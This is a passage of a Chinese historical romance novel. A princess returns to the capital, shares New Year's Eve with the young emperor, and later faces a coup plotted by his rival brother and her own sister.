“要入宫的,需得回禀下此次的成果。但我们此次回来的低调,我想先悄悄歇息两日,待除夕过了,再递折子。” “殿下就不怕陛下怪罪吗?” 锦书舀起一瓢热水,缓缓淋至她肩膀上,想着这五年间,刚开始,皇帝会时不时送书信过来。可沈遥是真的很忙,时常一日只吃得上一顿饭,回复的书信少之又少,后来,长安这边也不再有更多的书信过来了。 “他不会怪罪的。”沈遥明白锦书的意思,但她对此却万分确信。 锦书抿唇,斜眼瞟着沈遥,想到什么,又说:“陛下如今也二十五的年岁了,后宫却仍是无人,朝臣都急死了,却也不见陛下有任何动作,就不担心江山后继无人吗?” 沈遥垂眸看着水面倒映的脸庞,伸手随意一搅,“他有自己的想法,这不是我们该关心的。” 回到自己的家就是舒服,她早早上床入睡,一直睡到日晒三竿。 直到晌午醒来后,锦书才进入告之,“殿下,端静殿下来了。” 沈遥还有些迷糊,半眯着眼。 端静? 对,想起来了,曾经听闻过,沈芯被封了端静公主。 沈遥起身,“来了多久了?” 锦书:“来了一会儿了,只是奴婢不敢扰着殿下歇息,便让端静公主在前堂喝茶等着。” 沈遥:“那快准备洗漱吧,其实你可以早些叫我起来的。” 锦书早就准备好了盥洗用具,将沈遥扶起,“这不是端静殿下也说不必扰着,自愿等着的么。” 今日开始下雪,有些冷了,叫沈遥从南部回来忽然有些不适应,又多加了几件厚实衣裳。 来到前堂后,一眼便看到了正在咳嗽的沈芯。 沈芯起身想要行礼,被沈遥抬手免了去。 “坐吧,怎的身子越回去了,不是每日都有太医给你问诊吗?” “瞧阿姐说的,我这病天生的,哪儿能真的好得起来。”沈芯的声音倒是比之前弱上不少,就是依旧喜欢在她面前阴阳怪气。 沈遥也懒得掰扯,“你怎么知道我回来的?” “碰巧罢了。”沈芯嫌手里的暖炉凉了,便放到一边,锦书眼疾手快地拿过为她更换。 “阿姐回来那日,我在城中街道见着了。阿姐也真是,这么大的事儿,竟也不提前告知一声。”她嗓音带着几分嗔怨。 沈遥笑笑,“这么些年过去,你倒是也没什么变化。” 沈芯咬唇。 沈遥:“如今你年纪不小了,怎的还不找驸马?” 说起此事沈芯就心烦,“宫中倒是选了好些个给我相看,但都是些歪瓜裂枣。阿姐,你自己都不成亲,怎还管起我来了?” 她低下头,也看不出在想什么。 “随你,就问问罢了。”沈遥倒是并不在意。 “你今日来寻我,还有何事?” “怎的?我还不是你亲妹妹了,五年不见你,终于回来,还不能来拜访了?”沈芯接过锦书递来的新手炉。 “能,当然能。”沈遥不想说她,这个妹妹眼神里并非关心,反倒是些别的。毕竟是亲姐妹,真是一眼就看出来她在想什么。 沈芯眼珠子一转,问:“明儿就除夕了,宫中会举办宴会,阿姐会去吗?” 沈遥:“我不去了,待除夕过后,我自会去宫里。” “哦。”沈芯点点头,“阿姐这些年,又和宁梓谦联系过吗?” “……没有。” 沈芯眼底浮现一缕怪异,“我以为阿姐大周四处跑,会去到云中城。” “没有去那儿,我去的地方都是些偏僻的。你问这做什么?难道你与他有联系?” “啊……没有。”沈芯摇摇头,勾起唇角嫣然一笑,“既然阿姐疲累,那绵绵也不必多打扰了,这就告辞。” 话音刚落,沈遥看着沈芯直接站起身,也不要她送别,直接抱着新热的手炉快步离开了府邸。 沈遥眉头皱了起来。 这些年她偶尔听到过宁梓谦的消息,人在节度使帐下立了好几次军功,如今还得了一男一女两个孩子。 她这妹妹来这一趟,等了这么久,就为了打听宁梓谦? 沈遥对此并未多思,依旧是在家闲了一整日,玩玩猫,逛逛院子。精神也彻底恢复过来。 翌日仍然是安静的一天,毕竟她回来的事情,除了沈芯,没有更多人知晓。 “对了,今儿备得怎么样了?虽说回来得急了些,可除夕到底还是该好好过的。” “放心吧,厨娘做了一大桌子年夜饭,到时候整个府邸的人都能分一杯羹。就是可惜,不能和医师们一起过。” 沈遥莞尔一笑,“咱们这几年已经都一起过够好些个除夕了,好不容易回来,定然要和家人一起才是。” “除夕是要一家子过才是,也不知陛下孤家寡人一个,会如何过。”锦书冷不丁来一句。 沈遥转头看她一眼,没有对此表态。 除夕夜里,沈遥将府中所有人都聚集起来,同坐一个大桌,一起吃年夜饭。 有的人与沈遥不熟,此时还不太放得开,可是随着众人谈天说地,也逐渐愈发融入进来。特别是沈遥亲和的性格,让原本还在惧怕的人也放宽了心。 锦书让人提前准备了一些小的烟花爆竹,分给众人在庭院中玩乐。 本以为小橘会害怕这吵闹声,却没想到竟在她身边淡然地睡觉,时不时翻过肚皮让她摸上一摸。 “它倒是胆子大了不少。” 锦书道:“府中所有人可将这猫儿看得跟祖宗似的,生怕饿着冻着。不过奴婢还听闻,其实陛下偶尔会来公主府,抱着小橘玩闹一番。” “听说每年这时日,还会叫人将猫儿带到身边。或许也是因此,小橘都不怕这烟花爆竹的声响了。” 沈遥手指一滞,“还有此事。” “那今年呢?陛下没派人将小橘带过去吗?” 锦书摇摇头,猜测:“许是除夕忙碌着,忘了呢。” 沈遥睨她,“锦书,你有没有觉得,我太目无君上了?” 锦书其实想承认,却也没说什么,只道:“殿下和陛下一同长大,陛下对殿下的纵容奴婢都看着。不过有一点奴婢确定,陛下是喜欢殿下目无君上的。” 沈遥剜她一眼,收回视线,不想再进行下去此话题。 长安城中放的烟花在上空炸开,不同颜色的光落在她的脸颊和双眸。 倏然间,她心脏强烈地跳动了两下,似乎是某种预感与直觉。 锦书见沈遥猛地站起身,不解道:“殿下怎么了?需要什么?奴婢去拿就好。” 沈遥转头朝中锦书笑笑,“啊,没事儿。你坐着,和大家继续玩,我就是腿麻了,想去附近走走,不用担心我。” 见沈遥如此说,锦书倒也真不担心。毕竟这几年,再艰难的,再危险的,她们都经历过,如今回到长安,已经不会再有那些危险。 沈遥没有惊动其他人,一人穿过垂花门,往府门走去。她也不知这是怎么了,好像就只是想去门口看一眼。 仅此而已。 长公主府极大,她也是走了好一会儿,才终于到了门口。 打开门,一阵风卷着冰粒子吹来,她被刮得闭了下眼,再度睁开时,果然见到了曾经那个熟悉的身影。 他转过头,一时愣怔,似乎没想到沈遥会突然从府中出来。 沈遥看着他的模样,他好像没什么太大的变化,又好像变了。 他瘦了些,二十五的年岁看起来更加成熟,人也变得更加稳重,没了 少年的稚气与青涩,此时才真正像个皇帝。 四周太过宁静。 沈遥许久后才终于找回自己的声音,率先开口:“你怎么站在门外,也不叫人来通报一声,这倒真叫我折煞了。” 宋衍沉默了一会儿,才道:“听闻你回来了,又想着今日除夕,便过来看看。” 沈遥看了看他身后,竟然一个人也没带,还是说暗卫在暗处藏着。 他披着一身白狐披风孤零零站在雪地中,反倒显得有些可怜。 “陛下……来了多久了?” “没多久。”他声音很低。 话虽如此,可沈遥注意到,他肩膀上积了雪,还不少,随着他的动作,雪掉落在地。 可是明明雪已经停了一阵。 真够傻的,他真是一动不动站在门口。 若是曾经,他定自顾自进了府中,也同样不会叫人发现。 “陛下恕罪,我本是想着今夜是除夕,不便叨扰,明日再抵折子入宫的。陛下什么时候知道我回来的?” 宋衍轻哼,不满道:“你倒是低调,回来的不声不响。不过在你离开扬州北上时,我就知道了,一直在等。” 气氛一时宁静。 沈遥有些尴尬地脚趾抠地,“陛下可怪我欺君?” “又不是第一次欺君。”宋衍面上神情没有丝毫改变,“况且,你只是没告知罢了,并未欺君。怎么?还怕我?” “没有。”沈遥躲开视线往别处看,烟花的光倒是亮得很,夜色下什么都藏不住。 “宫中不是会办宴会吗?” 宋衍低低地“嗯”了一声,“都是朝臣,没什么意思,提前走了。” 沈遥听出他孤家寡人的意味,抿唇看了他好一阵,侧开身子,“陛下要进来吗?一起过除夕。” 宋衍看了一眼她空出的地方,“这样好吗?我进去后,你的人怕是都会拘着,年也过不好了。还有你,既然都不告知我要回来,定然是不想我来叨扰的,” 沈遥语塞,再怎么样,她只是身子疲累,想安静两日,缓和下。 如今她也不能在明明知晓的情况下,让皇帝一人站在门外吹冷风。 “进来吧,不与他们说就好。” 宋衍低下头轻轻勾唇,又迅速压平,“打扰了。” 他大步上前,跨进门槛,走在沈遥身侧。两人的衣摆摩擦在一起,叫她痒得有些陌生。 时间冲淡了一切,过往发生的龃龉,在她的记忆中愈发淡去。如今她还是很难再将他当成阿弟,就如曾经他加冠那夜,她说,他是她的朋友。 地上的积雪有些湿滑,沈遥心绪繁杂,倏然间被一块结了冰的石板一滑,眼见着就要往后栽去。 一只有力的手抓住她的手臂将人托住,带着青草的冷香缓缓席卷而来,萦绕着她。 沈遥一时心跳又加快了几分,待站稳后,拍了拍胸口,还未来得及看他,他的手已经收了回去,在她胳膊上留下一串熟悉的滚烫。 “谢谢。” “不必客气。”宋衍将手藏到袖下,轻轻摩挲着指尖,“你要带我去哪儿?” 沈遥偏过头,看着前方,“他们都在院中玩闹,不如陛下随我去内院好了。” “内院……啊。”宋衍微微挑眉,似乎在纠结,“这样好吗?” “陛下是皇帝,想去何处不行。况且,我觉得内院什么的,也没什么特别的。”沈遥倒是平静。 宋衍跟上她脚步,忽然说:“也是,你之前也准许过外男入内院。” 沈遥嘴角抽了一下,忽然意识到他在说宁梓谦。她转头用诡异的眼神剜他一眼,也没什么太多解释,只是加快了步伐。 宋衍不是第一次来到她内院的内室。 上一次来,是很久前了,她出嫁的前一日,他来找她,得知了她要跟着宁梓谦往凉州去的消息。 就是那时候,让宋衍整个人彻底发了疯。 室内的地龙将屋子烤得很暖,沈遥脱下披风后,也接过宋衍脱下的披风。 点了一抹安神香,让他落座,又开始亲自沏茶。 宋衍看着瘦了也黑了些的她,心底微动,“这些年在外面过得如何?” 沈遥将沏好的茶中加入了一勺糖,两颗梅子,往前一推,“很好。这些年,虽然生活辛苦,有时也遇到危险,可却是格外充实。我从中,真正找到了属于我的东西。” “什么东西?” 他看着她一张一合的嘴,意识到,她彻底变回曾经的沈遥了。 那个火光下抓住他的手,带着他一路逃亡,去到甘州的小姑娘。还是那个有些傲气,爱穿怪异的衣裳,在长安城打马穿街过巷的长公主。 可是却又不一样,如今的她是真正盛放的花,比过往更加艳丽。 沈遥道:“能在死前,留在人间的东西,我的价值。” 宋衍颔首,明白她的意思。 沈遥道:“这几年,也是多亏了陛下给我的那支亲卫,不仅每次都能助我走出困境,也是给了我足够的安全感,让我一步步继续行进下去。” “嗯。” 那支卫队都是他从御前亲自挑选出来,顶尖的高手。没有他们,当初也不会放心让她在大周肆意行走。 “陛下呢?” “嗯?” “陛下这些年,好吗?” 宋衍一怔,先端起茶杯喝下一口,他将茶杯放下后,又转了转,让其对准桌上的缝隙。 “还行,最近大周和匈奴打得比较狠,北庭节度使数次立下军功,他帐下所有人也一并受了封赏。” 沈遥指尖一顿,“那你呢?” “嗯?” 沈遥无奈,“我想问的是你自己。” 宋衍一笑,“不太睡得着,其他都还好。” 沈遥知道他一直少眠,可这样下去定是损伤身体。 “陛下可以将我这里的安神香带回去试试,我曾经一段时日睡不着,这香倒是管用的。” “或许,也不是香的问题。”宋衍侧头,看着她内室,高雅清淡,又不失温馨。进入这个房间后,所有紧绷的神经瞬间松懈下来。 “现在倒是有些倦了。” 沈遥看着他许久,沉吟不语,最后却也没赶人,“那晚上别喝茶了,我叫下人弄点牛乳来。” “既然此处能让陛下安眠……” 沈遥望四处看了一圈。 宋衍主动起身到罗汉床躺下,“不必,我在此处待一会儿就走。” 沈遥定定在原地站了许久,最后没再管他,想了想,还是去柜中翻出一席被褥,待回到罗汉床边时,男人已经沉沉睡了过去,眉眼舒展开,他难得的休息。 她站定,将手上的被褥抖开,轻轻盖在他身上。 第64章 第64章 我知道,陛下变了 翌日清晨,沈遥醒来后,房间早已空了,唯独空气中还残留着淡淡的冷香,天未亮。 今日入宫觐见,锦书拿出了一套沈遥最正式的一套服制,石榴红绣花襦配以长裙,飞凤霞帔。 穿过一道道宫门,太极殿下方,今日拨云见日,阳光自上洒落玉阶。虽不是第一次来,可时隔多年,才意识到此处恢宏。 踏上月台,在传旨宣入殿内,沈遥看到了龙椅上的男人,昨夜还宿在她的寝室。 太极殿金碧辉煌,居高的吊顶将上方的人显得更带威仪。 或许是夜晚光线太暗看不清,此刻望去,才真正看出他面庞比往昔更加硬朗成熟,他比五年前更会隐藏自己的心绪。 威压甚重,似乎没人能看得出他心里都想些什么。 面前的人,真的长大了,不再有曾经的少年心性与青涩。 不知从何时起,他们之前用来绑住彼此的枷锁便已随着时间逐渐挣脱消散。五年不见,再度相见后,他们不再以姐弟关系相对,而是以真正的异姓长公主,与大周皇帝相对。 两旁是排列整齐的朝臣,目光炯炯地看着她。 “臣永乐,叩见陛下,陛下万安。” 宋衍淡淡将视线落到她身上,“平身。” 沈遥呼出一口气,说:“此次臣带领医师队伍,先往西行,一路走过大江南北,去往偏远村落。五年间,和当地官府合作,共建立五百三十多个惠民属医舍,为无法看病的百姓治疗简单病症。其中还有五十个医舍,研究疑难杂症。” “特别包括洮州、茂州……” “官办医学一百二十多个,培养各地小地方医师。此次百姓所获甘霖,皆仰仗皇恩浩荡。” 周围的朝臣一边听着,一边纷纷点头,对长公主此番功绩都心中赞叹不已。 宋衍道:“此次爱卿居功甚伟。” 沈遥道:“所有功绩,也仰赖队伍中每一名医师,护卫,以及当地配合协作的官员,百姓,更是陛下的支持。若只有臣一人,定无法完成。” “此次归来,大周南部还有许多地方未能完成,此还需要时间。” 宋衍道:“此番爱卿已做了开头表率,克服重重阻碍,接下来朕会另提拔人接替,完成剩下的医舍医学建立。” “永乐听封。” 沈遥:“臣在。” 宋衍道:“永乐已身居女子高位,今加赐食邑两千户,特制凤舆,紫衣绣凤,准诛赏权柄。” 这样的封赏对于女子来说是到了顶,特别是诛赏权柄,其实相当于允许长公主干预朝政,准有私人幕僚、宾客、门生。 众人面面相觑,却也没有提出异议。 毕竟除了长公主此次功绩,当初这位皇帝能够登基,她便是其中功不可没的一员。 沈遥微怔,立刻再次叩谢。 她当初并不想要靠着立功来获得某些权利,只是想要做一些发自内心想做的事情,帮助大周百姓,找到她存在的价值,仅此而已。 如今接受谢恩后,面前男子在她心底的身份,又高了一级。 他真的是个皇帝了。 觐见结束后,沈遥便入了后殿等待。 未过许久,宋衍终于下朝,快步而来,落座她对面后,见她又要行礼,立刻扶了一下。 “你怎么愈发跟我客气起来了?” 沈遥无奈只得免了礼数,“陛下是皇帝,已经不是当年那个十八岁的孩子了。” “听你这话,我倒是欣慰了些。”宋衍眼睛悄悄扫视着她,不动声色。 沈遥自是想到他曾经的固执,他总说,自己不是男孩,不是少年,而是男人。 真正长大的其实是一个人的心性,而非外表。 宋衍又忽然道:“曾经的诺言,我一直守着。” 沈遥垂眸,想起是他曾经在自己身上抽的那一百鞭子,他的承诺,只要她不愿,便不出现在她的面前。 “我知道,陛下变了。” 宋衍没有任何表示,与其说变了,他是学会了在她面前不外露情绪。有些东西,有些人,抓得越紧,反而离自己越远。 “接下来在长安做何打算?” 沈遥笑道:“说实话,在外面游历这么久时日,原本就是凭着一股气。如今回来后,松了这股气,才发现自己是真的累了。” “嗯……先好好歇歇,或许之后会看看长安附近的医舍。这次,不仅发现偏远村落治病困难,其实很多城中之人也是如此,若是能扩大惠民医舍的规模,同分化州级,县级,便是更好了。” “你心里倒是装着百姓,比起来,你更像个皇帝。” 沈遥无奈剜他一眼,“这种话,陛下莫要说下,被下人听去得多少人吓死。” “……好,你说的是。” …… 生活逐渐是稳定下来,沈遥很少入宫,倒是宋衍每周必定出现一次在她的长公主府。 她对此并不反感。 两月后,宋衍突然忙碌起来,而沈遥也听到一些来自云中城的战报。 据悉匈奴此次发动五万大军,竟然直接攻破边境防线,一周内,大周便丢了十多座城池。 北庭节度使向朝廷递奏表,请求增派粮草。 而更令人匪夷所思的,是梁国夫人竟被匈奴所抓以做人质! 混乱的脚步声在长廊响起,沈遥几乎是冲进了皇宫,待到了月台上后才慢下来,静静等待着殿内的朝会。 时间过得似乎很慢,她看着太阳的方向,掐着手指头数时辰。待朝会终于结束后,朝臣才从殿内散出。朝臣们眉眼间都是倦怠和急切,看到长公主在门口,躬身行礼后又离去。 胡生从里踱步迈出,“殿下,陛下宣殿下入内觐见。” 沈遥点头,等不及便往里去,也顾不上仪表,直接往下跪,“陛下,救救姨母!” 宋衍见状立刻起身,将她扶住,“别着急,她既是你的姨母,那也是我的姨母,自然该救。” 宽阔的手掌握住她的胳膊,隐隐传来一丝安全之感,虽然隔着布料,却依旧能感受到他指腹的茧子。 明明什么都还没有着落,沈遥却松了口气。 宋衍凝视着她额间的汗滴,身上也不穿件厚实的,他抽出帕子为她擦去,又将身上的外衫褪下给她披上,“看你,这入宫一路都跑来的?” 沈遥心跳加速了几分,“我真是一听到这消息就吓到了,毕竟匈奴野蛮成性,姨母在那里待上一日,我心里也是多一丝不安。” “不过后来站在殿外仔细去想,总觉得此事不对劲。姨母常年住在甘州,又是河西节度使之妻,怎会跑到北边去,被匈奴所截。” “嗯,还有此次,竟然区区五万匈奴,便叫我大周丢了十多座城池。”宋衍眼底闪过一抹精光,补充了一句,似乎到现在也不太相信这消息真伪。 沈遥颔首,“那陛下要应下北庭节度使提出的粮草吗?” “他要的数量不小。”宋衍手背在身后,直起身子,“若此事为真,这历朝历代以少胜多的例子不少,那必定是要给他新的将领士兵,以及粮草。” “若是假的……” 沈遥逐渐明白过来,“难道是宋禾?” 宋衍沉默地看着她。 沈遥凝思,“这几年,始终都没听到此人动静,可以他的性子,又怎会什么都不做呢?” “所以……陛下是要御驾亲征吗?” “嗯。”宋衍颔首,“此事不容小觑,我必得亲自去一趟。” 皇帝亲自出动并非第一次,按理说,这次与曾经也无不同。 可沈遥心里却有一种说不上来的直觉在作祟。 见她眉眼间还带着担忧,宋衍道:“你放心,我会将姨母平安带回。” 沈遥勉强笑笑,他既亲自出马,她倒是不担心姨母安危了。可是…… “那你定万事小心,同姨母一起平安归来。” 宋衍眉梢微挑,压平想要扬起的嘴角点了点头。 沈遥:“何时出发?” 宋衍:“三日内。” 时间万分急迫,沈遥第二日去了一趟寺庙,亲自求了一道平安符,压下心底那份怪异的直觉。 转眼便是宋衍离开的前夜,果然和她预料的一样,他来了长公主府。 沈遥如往常那般将他带入内院,亲手点上安神香。 “最近睡眠如何?还会如从前那般吗?” 宋衍轻点头,“在你这里时都睡得好。” 沈遥看着夜色烛光下,他的脸颊好像不似白日那般凌厉了,被暖光渲染得柔和不少,好似曾经的他又忽然回了一般。 “你现在,晚上睡觉还会点灯吗?” “嗯。”这一点宋衍倒是形成了习惯,一直没变过。 沈遥想起什么,又忽然问他:“我记得,很早以前,在枝乡的时候……” 虽然提起那段时日叫人有些尴尬,可是还是好奇。 那段时日她可是没点灯睡的,可他依旧能趁着夜色潜入房中,还躲到她床底。也不知如今长大后的他是否还有那些怪癖。 “你想问我是否还有那些癖好?”宋衍勾了下唇,似乎一眼就看透了她的想法。 沈遥一时语塞。 宋衍道:“若你允许的话。” 她挑眉,侧目看他,“所以,你现在没再做这事儿,都是怕我?” 他抬起拳头在唇边轻咳一声,“你也可以这样想。” “罢了。”沈遥拿他实在没办法,“反正,你今夜得好好休息,明日便要出征,军营生活定是辛苦的。” “好。” 翌日清晨,沈遥被窸窸窣窣的动静吵醒,睁开眼睛,迷糊间忽然想起他今日离开,便立刻翻身而起。 隔着一扇屏风后,宋衍已经自己穿戴整齐衣裳,正将护腕系好。 他余光瞥到她,身上只穿着一袭寝衣,叫他眸光暗了下,喉结滚动起来。他从一旁捞过她平日的披风,上前为她披上,又将系带系好。 “虽然屋内燃了地龙,可到底冬日还是冷的。” 他低下头发现沈遥竟没穿鞋,也没穿袜,无奈叹息一声,到她床头将鞋履拿来,又在她面前蹲下,将她脚一只一只穿进鞋中。 手心有些发烫,起身后捏了捏空气,“以后得叫锦书盯着你穿鞋。” 沈遥不与他争辩,穿着鞋的脚忽然痒起来,她往后缩了一小步,又抬眸往刻漏看去,“这么早就要走了?天还没亮,这也才卯时初。” “嗯,该走了。” 南风敲响寝室的门,宋衍望她一眼,正转身时又被沈遥喊住。 沈遥从一旁小屉中取出前日求的平安符,上前挂到他腰间。 宋衍低垂着头,看着她头发往两侧落下时,露出洁白的脖颈,发丝散发着一股淡淡香气。 系好后,他将平安符拿起在手中观摩一番。 “专门为我去求的?” 沈遥笑了笑没说话,将刚才的小屉打开,只见里面还有几个不同颜色的平安符。 宋衍收回视线,“哦”了一声,语气闷闷的,转身离开。 沈遥看着他的背影忽然觉得有些好笑,在他迈步而出时,又嘱咐了声:“万事小心,定要平安归来。” 宋衍身影一顿,没有回头,应下一声“好”。 …… 此次皇帝亲自领兵十万大军前往北部战场,从那边传来的战报皆是公开,沈遥很容易便知晓他此刻到了何处,战况如何。 三个月间,无数大大小小战报出来,皇帝所领兵马夺回失去的十多座城池,只剩下最后两座最为坚固的城。 此消息一出,众人皆欢欣鼓舞,百姓也逐渐放下心中巨石。 沈遥开始去到惠民医舍,用自己的私产,以及过去几年所学到的东西,逐一在惠民医舍中实施。 只是从第四个月起,前线再也没传来新的战报,也没了更多消息。 沈遥忙碌整日,回到长公主府后便唤来锦书,“怎么样?今日有前线的消息来了吗?” 锦书摇摇头。 沈遥蹙眉,“那姨丈那边呢?” 当初姨母被匈奴抓走后,她就立刻传书信联系了姨丈,据其所言,姨母从未离开过甘州,而是在甘州出街时被人掳走,这么想来,是大周内细作所为。 待宋衍带兵到达北部战场后,姨丈也同时请求增兵支援,却被拒了。因着姨丈身为河西节度使,还需防守大周西北边境,而既然匈奴只五万兵马,御驾亲征所领的十万已是有余。 可是如今看来北部可能出了事情,是他们这些远在长安的人,不易知道的事。 …… 夜深人静,一道倩影披着黑色斗篷,一个走入城外一处道馆中。她被引到一间厢房内,终于见到那用头发挡了半张脸的人。 宋禾将视线从墙壁上的画收回,转身看着来人,声音似冰冷的毒蛇一般,“听说,你一直试图通过宁梓谦在找我?” 来人扯下斗篷兜帽,面色苍白又严肃,可不就是沈芯。 “当初我答应帮着宁梓谦给淅镇的阿姐递信,帮着阿姐逃跑,你承诺过的,会夺取帝位,并立我为后。可是自那之后,你就彻底失了踪迹,就连今日,也是我不断找宁梓谦,才终于将你给逼出来。” 宋禾眼底闪过一抹阴狠,“可是当初还是失败了,宁梓谦任由着沈遥回了长安,再到后来,沈遥身边全是宋衍的亲卫,也无法再度下手了。” 沈芯才不管这些,想起当初就实在气急,“可是你食言了,你知不知道,我当时都被发现了,还好阿姐没事儿,否则我就要跟着她一起去死了。” 宋禾冷笑,“妇人,成大事者,不拘小节,更要有耐心,岂能什么准备都还没做好,就直接莽撞举事,那岂非白白送死?” “那你这些年一点儿消息都没有。” “宋衍这小子不简单,我稍微暴露一点儿,都会被抓住,更是得小心翼翼。”宋禾着实无奈。 “不过这一次,已是天时地利人和,到了可以举世的时候了。” 沈芯瞪大了眼,“什么意思?难道此次御驾亲征一月没有任何消息和战报,与你有关?” 宋禾没有说话,只是一直看着她,又冷不丁讽刺一笑。 沈芯低下头转溜着眼睛,又抬起头道:“即使如此,我当初帮了你,该做的,我都做了,那我们就是一条绳上的蚂蚱。” 宋禾挑眉,“哦?” 沈芯继续道:“让我继续帮你,这样你也可以继续履行你曾经许下的承诺。” 宋禾:“皇后之位啊?你胃口可真不小。” 沈芯并不在意他的反应,“我身为端静异姓公主,梁国公不仅是阿姐的姨丈,也照样是我的姨丈,既然如此,我与阿姐的身份又有多大区别呢?” “只不过,她是长公主,而我是公主罢了。但以我的身份,也够得上皇后之位吧。” 不管是对宋禾,还是宋衍,说实话,沈芯都没什么感情。 她想要的,只是站在比阿姐更高的位置,从上至下,俯瞰她罢了。一切都是老天欠她的,是阿姐欠她的。 凭什么? 都是沈家女儿,阿姐能拥有健康的身子,能拥有长公主的尊位,能拥有皇帝的心。 她已经没了健康,也无法从阿姐那里将皇帝的心夺走,那至少,她要从身份上压阿姐一头。 宋禾:“既然要投靠我,五年前的东西是不够的,时间太长了,我怎么知道你是否暗中又投靠了沈遥和宋衍。” 沈芯:“那你想如何?” 宋禾:“给你个机会,向我展示你的诚意。先从想办法毁去宋衍名声开始吧。毕竟天子更迭,也不是那么简单。” 沈芯低下头细细思索一遍,最后点头。 她又道:“那我既然做了此事,你又如何证明,你此次定能一举成功?若是最终功亏一篑,那我岂不是成了宋衍的刀下亡魂?” “宋衍回不来了。” “什么?”沈芯不解,“不是只是没有战报传回吗?可是这次城池都被夺回来啊。” 宋禾:“北庭节度使丢失的十多座城池,不过是和匈奴一起演的戏罢了。而匈奴的人,可不是五万。” 沈芯嗓子紧了一下:“那……” 宋禾脸上的发丝被风吹开些许,露出一层红色的肉,与他的眼神相配,更显诡异。 他嗓音沙哑又阴鸷,“加上叛军,一共四十万大军,偷袭围剿天子的十万人马。” “如今已是……全军覆没 。” 第65章 第65章政变 沈遥离开长公主府前,先又吩咐人去盯着前线战报,她一如往日那般前往惠民医舍。 不知是否是自己太过敏感,好像今日众人看到她时眼神间都带上几分躲闪。 女医上前道:“殿下,外面有个妇人来寻殿下,说是特意前来致谢。” 沈遥收起手中医册,跟随到门口时,认出是一月前的一个妇人,当时妇人难产出血,虽母子平安,却落下严重的病症。 家中贫困,无银看医,正巧那日其婆婆陪着妇人经人介绍下,来了惠民医舍,虽非危急性命的病痛,但还是给了些药,减轻其痛苦。当时沈遥在场,亲自帮忙看了药方。 妇人提了一筐土豆,见到沈遥时便急步上前,一旁的女医见她身上衣服皆是做完杂活后留下的灰尘,再看那指甲缝里还沾着黑泥,训斥一声:“大胆,见到殿下需先行礼,怎能无态靠近殿下。” 妇人一怔,没学过什么礼仪,一时愣在原地,连手该放哪儿都不知了,“殿、殿下。” 沈遥道了一声“无需多礼”,又让女医下去继续帮衬着医舍,而后才转过头,“我记得你名字,芬娘。” 芬娘一时受宠若惊,睁大了眼睛,将手上的脏泥在裙子上擦净。 沈遥:“不知你今日寻我,有何要事?” 芬娘道:“叨扰殿下了,我、我、民女就是前来谢过殿下。如今得了医舍帮助,身体已是比之前好了不少,也可以开始干活了。家里也没什么别的谢礼,怕是殿下都看不上,今儿特意拿了些土豆来,就是怕殿下嫌弃。” 沈遥知晓芬娘一家住在城外,稍微偏远一些的镇子上,丈夫是商贩,常常往返两处。他们家中不富裕,送出这么一筐土豆着实令他们为难了。 她摇头拒绝,“芬娘不必客气,是医舍的医师给你看的病症。” 芬娘自知长公主定不缺这些东西,讪讪将手收了回来,“殿下莫要如此说,若非有殿下所置办的这些官办惠民医舍,我们这些穷苦的百姓有个什么病痛,都只能靠自己扛过去。” “殿下对我们的恩泽,我们会牢记于心。” 沈遥垂眸笑笑,心底感慨,最后伸手从她的筐里随意拿走一个小些的土豆,朝着她举了下,“东西你拿回去,我收下这个,就算收下你心意了。” 芬娘总算松了口气,她站在原地还未走,似乎是在犹豫些什么。 沈遥:“还有何事?” 芬娘吐出一口气,终于道:“殿下,无论外面的人说什么,殿下都莫要放在心上!他们那些人都没见过殿下,不知殿下究竟是什么样的人,但我们亲眼见过,受过恩惠,会一直相信殿下!” 沈遥眉头微蹙,没听懂她的意思,但想到今日众人看她的视线,这么说不是她太敏感,而是真的发生了什么她还不知道的事儿。 沈遥沉默,芬娘不敢再多打扰,提着剩下的土豆,行了一个四不像的礼,而后转身告退。 回到府邸后,沈遥才将锦书叫出来询问,锦书一时支支吾吾,低着头不知如何说。 沈遥:“所有人都知道的事儿,你若不告诉我,你觉得我便无法知晓了么?” 锦书一惊,忙不迭跪下,道:“殿下,奴婢也是担忧殿下听了会忧虑。” 沈遥看着她没说话。 锦书道:“如今城中四处都在流传着陛下与殿下的不伦。说您到了如今还未成亲,便有有其中原因,甚至还有淅镇一系列的事儿,说得像模像样。” 沈遥蹙眉,垂眸思索这起流言的来源。 锦书又立马安慰道:“具体的外人都不知晓,只是一个人说了传了,另一个人又添油加醋,到最后说得面目全非。” 她着实为沈遥打抱不平,“这些愚民,明明陛下和殿下又无血缘,也非同姓,竟说得好像他们是当事者一般。真不明白,这有何好骂的。” “自然是有人在背后加了把火。”沈遥其实对民众所言并未在意,“对了,今日不是让你盯着前线战报吗?可有什么消息传回?” 锦书长叹一声,无奈摇摇头。 沈遥看着摇曳的烛火,心底当初那股不祥的预感更甚。 若说此事没有宋禾推波助澜,与北部战场没有关系,沈遥不信。 沈遥:“派人私下查探,没有无缘无故而起的流言,而陛下和我之间的事,知晓的人不多。” 锦书颔首应下。 …… 所有的一切都发生得太快,大周百姓还未反应过来,便已经变了天。 但这天的到来,在过去一个月没有战报消息传回时,沈遥就预测到了。 在沈遥吩咐下去调查流言之事的第三日,宋禾横空出世,恢复“宋”姓,同北庭节度使率兵突袭回京师,一起而来的还有宁梓谦。 更令人意想不到的是,宋禾手中拿出一份诏书,据其所言,是皇帝在寻回他这个亲哥后下的旨意。 上面说道,若皇帝在北部战场发生任何意外,将由其兄宋禾,代为掌管朝政。 “怎么可能!陛下与宋禾之间势同水火,依奴婢之见,这就是北庭节度使反了,故意趁此时机扶持宋禾这贼子!”锦书义愤填膺,在今日得知这消息后便在沈遥面前唠叨不休。 锦书走到沈遥身后,看着她站在门口,一股狂风自外而内刮来,“殿下,天还凉着,这样吹风怕是会染了风寒。” 沈遥怀中抱着一无所知的小橘,轻轻抚着它脊背的毛发,仰头半眯着眼,天空乌云密布,心头似乎哽着一块石头。 “现在所有朝臣,都被集中到太极殿了吧。” 锦书脸上带着为难,“是,殿下也受了邀入宫。” 沈遥将猫儿给锦书递去:“将紫衣绣凤备好,给我穿戴,现在准备入宫。” 锦书满脸忧心,“殿下,如今太极殿情况不明,此番分明是鸿门宴,殿下怎能轻易去到危险之地。” 沈遥:“待在府中便会无恙吗?” 锦书:“殿下……” 沈遥视线落在猫儿圆溜溜的大眼睛上,“没有什么地方是安全的,整个长安,大周,都在掌权者手中。” 今日的风格外大,就算是躲在马车中,也仍能感到摇摇晃晃,极不安稳。 